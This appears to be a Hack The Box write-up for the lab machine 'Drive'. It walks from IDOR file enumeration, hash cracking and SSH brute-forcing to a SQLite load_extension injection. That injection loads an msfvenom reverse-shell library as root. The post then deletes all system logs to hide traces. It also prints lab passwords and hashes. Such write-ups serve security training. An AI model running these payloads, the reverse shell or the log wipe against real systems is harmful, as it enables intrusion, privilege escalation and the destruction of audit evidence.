Post

Drive - HTB Writeup

Machine Overview

Drive is a hard Linux machine featuring a file-sharing service susceptible to Insecure Direct Object Reference (IDOR). Through this vulnerability, a plaintext password is obtained, leading to SSH access to the martin user. Then, port forwarding is performed to gain access to a hardcoded password exposed in a Gitea repository, allowing decryption of encrypted database backups. Hashes within the backups are cracked, leading to access to another user, tom, on the system, who has access to a root-owned binary with the SUID bit set. The program is reverse-engineered, revealing the clear text password of user moriarty. The “Activate User Account” option is vulnerable to SQL injection, which leads to loading a malicious .dll to gain shell access as root.

image

User

Scanning through Nmap

First of all we will go with nmap to scan the whole network and check for services running on the network. To scan the whole network and find all the open ports i use -p- used to scan the whole 65535 ports with –min-rate 10000 to scan network faster from nmap and i found a list of open ports on the network and get only the open ports using different terminal tools like cut, tr etc.

1
2
$ nmap -p--min-rate 10000 10.10.10.175 -oN ini.txt && cat ini.txt | cut  -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
22,80

Now Let’s run the depth scan on these specific ports using

1
$ nmap -p22,80 -sC -sV -A -T4 10.10.10.175 -oN scan.txt
  • -sC is to run all the default scripts
  • -sV for service and version detection
  • -A to check all default things
  • -T4 for aggressive scan
  • -oN to write the result into a specified file
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
|   256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_  256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

## Information Gathering Through nmap we discover only two opened ports, 22 ssh and 80 http. On port 80 ngnix 1.18.0 is running which is not vulnerable at that time and it is redirecting us to drive.htb. Let’s add this to our local DNS file called /etc/hosts so that our browser can resolve that.

1
2
$ echo "10.10.11.235    drive.htb" | sudo tee -a /etc/hosts
10.10.11.235    drive.htb

Port 80 HTTP

The website is about some kind of data storage drive where users can store, edit, and share files. Additionally, there is a login and register page for users to access the platform.

Pasted image 20240219201904

Let’s check the website’s technologies using Wappalyzer. According to Wappalyzer, the website is running on the Python Django framework at the backend.

Pasted image 20240219202045

As we discovered earlier, there is a register and login page. Let’s create an account using the register page because we don’t have any valid credentials yet.

Pasted image 20240219202322

After logging into the account, there is a “Welcome_to_Doodle_drive!” file already present in our dashboard, and we can also upload our own files to the drive.

Pasted image 20240219203219

After uploading a file, we can see that it is stored on the drive with a number, which can be vulnerable to IDOR (Insecure Direct Object Reference). Let’s capture this request in Burp Suite and try to find files between 1 to 112 because it gives our file number as 112. In the Intruder tab, set 112 as our targeting point and set the payload to numbers from 0 to 112.

Pasted image 20240219203857

We found 6 files with numbers 79, 98, 99, 100, 101, and 112

Pasted image 20240219204406

When I tried to access these files, it shows me a 401 unauthorized error. Interesting!

Pasted image 20240219204804

Let’s fuzz that endpoint using ffuf, and we found six different endpoints with blocks that seem interesting due to their response code.

1
2
3
4
5
6
7
8
$ ffuf -u http://drive.htb/79/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

updates        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 222ms]
update         [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 223ms]
blocks         [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 216ms]
block          [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 238ms]
updated        [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 217ms]
delete         [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 220ms]

We successfully accessed the content of file 79 on the block endpoint. There we found an email from Admin stating that he created a new user named martin with the password Xk4@KjyrYv8t194L!

Pasted image 20240219213206

We were also able to see the content of all other files using the block endpoint, and in the 101 file, we found the location of the database backup files on the system.

Pasted image 20240219213519

Shell as Martin using SSH

Now that we have valid credentials for the user martin, let’s get a shell using SSH.

Pasted image 20240219213724

Let’s move to the /var/www/backups directory because it contains the database backup file.

Pasted image 20240219213916

Let’s move all these backup files to our attacking machine. Since Python is present on the machine, I will be using a Python server for data exfiltration.

Pasted image 20240219214236

Pasted image 20240219214304

All these backup files are password-protected, and Martin’s password didn’t work to extract them.

Pasted image 20240220100829

In the db.sqlite3 file, we found some users and their password hashes, which can be used to perform a dictionary attack to find the clear text password.

1
2
3
4
5
6
$ sqlite> select * from accounts_customuser;
21|sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a|2022-12-26 05:48:27.497873|0|jamesMason|||jamesMason@drive.htb|0|1|2022-12-23 12:33:04
22|sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f|2022-12-24 12:55:10|0|martinCruz|||martin@drive.htb|0|1|2022-12-23 12:35:02
23|sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004|2022-12-24 13:17:45|0|tomHands|||tom@drive.htb|0|1|2022-12-23 12:37:45
24|sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f|2022-12-24 16:51:53|0|crisDisel|||cris@drive.htb|0|1|2022-12-23 12:39:15
30|sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3|2022-12-26 05:43:40.388717|1|admin|||admin@drive.htb|1|1|2022-12-26 05:30:58.003372

User List:

  • jamesMason@drive.htb
  • martin@drive.htb
  • tom@drive.htb
  • cris@drive.htb
  • admin@drive.htb

Let’s save all these hashes in a file called “hashes”.

1
2
3
4
5
6
$ cat hash
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3

Because the backend was Django-based, we will use hashcat with the Django (SHA1) mode.

Pasted image 20240219215306

Hashcat cracked the hash of user Tom in a very short time, and the password is john316.

1
2
3
4
5
6
7
8
9
$ hashcat -m 124 hash rockyou.txt

Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921508
* Keyspace..: 14344385

sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316

Let’s try to gain shell as the Tom user using SSH, but it didn’t accept that password. I also performed a password spray attack to check if any other user have the same password, but that also didn’t work here. Interesting!

Pasted image 20240219220006

Port Forwarding from martin user

When Tom’s password didn’t work and all the other backup files were encrypted, I moved back to Martin’s shell and started enumerating it. Using netstat, I discovered that something is running on port 3000.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ netstat -ant
Active Internet connections (servers and established)
| Proto | Recv-Q | Send-Q | Local Address     | Foreign Address  | State       |
|-------|--------|--------|-------------------|------------------|-------------|
| tcp   | 0      | 0      | 127.0.0.1:33060   | 0.0.0.0:*        | LISTEN      |
| tcp   | 0      | 0      | 127.0.0.1:3306    | 0.0.0.0:*        | LISTEN      |
| tcp   | 0      | 0      | 0.0.0.0:80        | 0.0.0.0:*        | LISTEN      |
| tcp   | 0      | 0      | 127.0.0.53:53     | 0.0.0.0:*        | LISTEN      |
| tcp   | 0      | 0      | 0.0.0.0:22        | 0.0.0.0:*        | LISTEN      |
| tcp   | 0      | 1      | 10.10.11.235:51686| 8.8.4.4:53       | SYN_SENT    |
| tcp   | 0      | 208    | 10.10.11.235:22   | 10.10.16.7:36814 | ESTABLISHED |
| tcp6  | 0      | 0      | :::80             | :::*             | LISTEN      |
| tcp6  | 0      | 0      | :::22             | :::*             | LISTEN      |
| tcp6  | 0      | 0      | :::3000           | :::*             | LISTEN      |
  • -a to display all sockets
  • -n to don’t resolve names
  • -t to restricts output to TCP connections.

Let’s forward that port to our attacking machine and check what’s running on it. Port forwarding is a process that gives someone outside of your network access to an application, program, or device within your private network. It’s otherwise known as port mapping or port tunneling. In the simplest terms, port forwarding allows other people on the internet to connect to you. You can learn more about port forwarding here.

1
$ ssh -L 3000:127.0.0.1:3000  martin@drive.htb

-L for local

Pasted image 20240219221928

Now go to the browser and check what’s running on 127.0.0.1:3000. Gitea is running on the local port 3000 of the Martin user. Gitea is a forge software package for hosting software development version control using Git as well as other collaborative features like bug tracking, code review, continuous integration, kanban boards, tickets, and wikis. It supports self-hosting but also provides a free public first-party instance.

Pasted image 20240219222029

Let’s login into Gitea using Martin’s user credentials. After logging into Martin’s account, we are able to access the DoodleGrive repository, which includes some interesting files like db_backup.sh.

Pasted image 20240220101223

This db_backup.sh file includes passwords for encrypted database files. H@ckThisP@ssW0rDIfY0uC@n:)

Pasted image 20240220101415

Let’s decrypt all the database files and extract data from them. I’ll extract all the password hashes and store them in a file called “hash” so that I can perform a rainbow attack to find clear text passwords.

Pasted image 20240220102549

Hashcat

Let’s crack the hashes using hashcat with the same command we used before.

1
2
3
4
5
6
7
8
9
10
11
$ hashcat -m 124 hash rockyou.txt

Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921508
* Keyspace..: 14344385

sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7

Again, we were able to crack the hash of Tom’s user account, but this time we were able to find three more different passwords. Let’s try them and check which one will work for us.

1
2
3
4
5
$ cat pass.txt 
johniscool
john boy
johnmayer7
john316

Hydra

Hydra is an open-source parallelized login cracker that allows us to perform various kinds of brute force or dictionary attacks using wordlists.

  • tom : johnmayer7
1
2
3
4
$ hydra -l tom -P pass.txt drive.htb ssh

[22][ssh] host: drive.htb   login: tom   password: johnmayer7
1 of 1 target successfully completed, 1 valid password found
  • -l for username
  • -P for password list
  • ssh to attack on secure shell service

Shell as Tom

Let’s log in to the Tom user account using the password johnmayer7.

Pasted image 20240220103647

Privilege Escalation

Let’s move towards Privilege Escalation and check what we have in our user directory.

Screenshot from 2023-10-20 12-07-21 1

There is a file named doodleGrive-cli with the +S permission set, which allows it to be executed by any member present in the group. In our case, both root and tom can execute this file, which caught my interest. To examine this file, let’s download it to our attacker machine. We can use scp or run a Python server on the victim machine to download it. First, let’s check if we have Python installed on the victim machine by running python3 –version, and we have Python installed on the victim machine.

Pasted image 20231020121240

To run the Python server, use the command python3 -m http.server. Here, the -m option is used to specify the module. Then, on our attacker machine, run wget http://drive.htb:8000/doodleGrive-cli to download it to our local machine.

Screenshot from 2023-10-20 12-21-23

Great! Now that you have the file doodleGrive-cli on your local machine, you can examine it further. Running the file command on it indicates that it is an ELF (Executable and Linkable Format) file, which is a common file format for executable files in Linux-like operating systems. This suggests that it is indeed an executable file. You can proceed to analyze its contents or properties further to understand its functionality.

Screenshot from 2023-10-20 12-26-37

When I ran it, the binary prompted for a username and password. I attempted to use both the tom and martin usernames and passwords that we discovered earlier, but they didn’t work.

Screenshot from 2023-10-20 12-30-06

Let’s run our beloved Ghidra (Ghidra is a reverse engineering and malware analysis tool developed by the NSA) to analyze the file and determine its functionality. To learn more about Ghidra, you can check out this playlist on YouTube for the basics. Our project has been created and the file has been imported, so let’s proceed with the analysis.

First, I navigate to the main function to examine what the program is doing. I found some hard-coded credentials, which may be the username and password required for the program to start its processing. Additionally, I noticed that the setuid and setgid are both set to 0, which means that whenever the program runs, it will execute as the superuser because only the root user has uid and gid set to 0.

  • Username : moriarty
  • Password : findMeIfY0uC@nMr.Holmz! Let’s utilize these credentials to log in and explore the program further. Within the program, there are six options available:
  1. Show user list
  2. Show groups
  3. Check server health
  4. Show server request log
  5. Activate user account
  6. Exit

Screenshot from 2023-10-20 12-48-13

Let’s explore the activate_user_account function further to see how we can exploit this vulnerability. It seems that the input provided by the user is directly used in a SQL query without proper sanitization, making it vulnerable to SQL injection attacks. We observed that using a single quote does not produce an error, but using a double quote does, indicating a potential SQL injection vulnerability.

Screenshot from 2023-10-20 15-52-55

Because we already have all the user information, using SQL injection to read database credentials isn’t a good choice. So let’s start googling. After some research, I found this link. It seems we can load a .dll file through a SQLite query.

Now that we know SQLite has a built-in function called load_extension() to load extensions, we can exploit this feature by creating a .so (shared object) file. Since the program sets uid and gid to 0 when it starts, we’ll create a reverse shell file using msfvenom. This way, when the program attempts to load the extension file, it will load our reverse shell file with root privileges, granting us a root shell.

To do this, we first need to create a .so file and then place it in the directory where the doodleGrive-cli is located. This is because the program will attempt to load the extension file from the directory where the doodleGrive-cli file is present.

Let’s begin the process by creating a .so file using msfvenom: msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f elf-so -o a.so. We’ll name the file a.so to keep it short due to character limitations.

  • -p is for payload
  • -f for format
  • -o for output file name Our file is successfully created, and now we need to upload it to the victim machine. We have two options: using a Python server or scp. Earlier, we used the Python3 server method. Now, let’s use the scp method so we can learn about both techniques. For this, we’ll use the command scp a.so tom@drive.htb:/home/tom.
  • a.so is our file name
  • tom@drive.htb is target user ssh
  • :/home/tom is a path in which we want to upload our file

Screenshot from 2023-10-20 16-37-44

Now, we can see that our file is present in the doodleGrive-cli directory. We need to start a listener on port 9001, which we specified in our reverse shell, so that we can receive our shell back when the doodleGrive-cli runs and calls our a.so file. To start the listener, we will use netcat: nc -lvnp 9001.

  • -l for listen
  • -v for verbosity
  • -n for numeric-only IP addresses
  • -p for port number

Screenshot from 2023-10-20 16-43-49

Let’s try to exploit it. We will use "+load_extension(./a)--. We use only a because sqlite3 embeds .so from itself with every extension file. After trying, we come to know that there is a filter which replaces / with none.

Screenshot from 2023-10-20 16-59-52

Let’s try to obfuscate it using the char function. The CHAR function converts decimal values to their corresponding ASCII characters. So, we will write the char value of ., /, a, which are 46 for ., 47 for /, and 97 for a. Now let’s create the payload again, which will become "+load_extension(char(46,47,97))--, and try to see what happens next. As soon as we run the query, we get a shell as root on our listener.

Screenshot from 2023-10-20 17-08-47

Now Let’s Delete all the logs on victim machine to remove footprints using find / -name "*.log" -delete

  • / telling find to start from root directory and search in whole filesystem
  • -name to find file with the specific pattern
  • -delete telling the find to delete all the files which match the specific pattern

Flags

User : bf7999654dcec….d63ec23658ff25 Root : 8a9e620672……16e5cb71dcf5bae

Happy Hacking :)

This post is licensed under CC BY 4.0 by the author.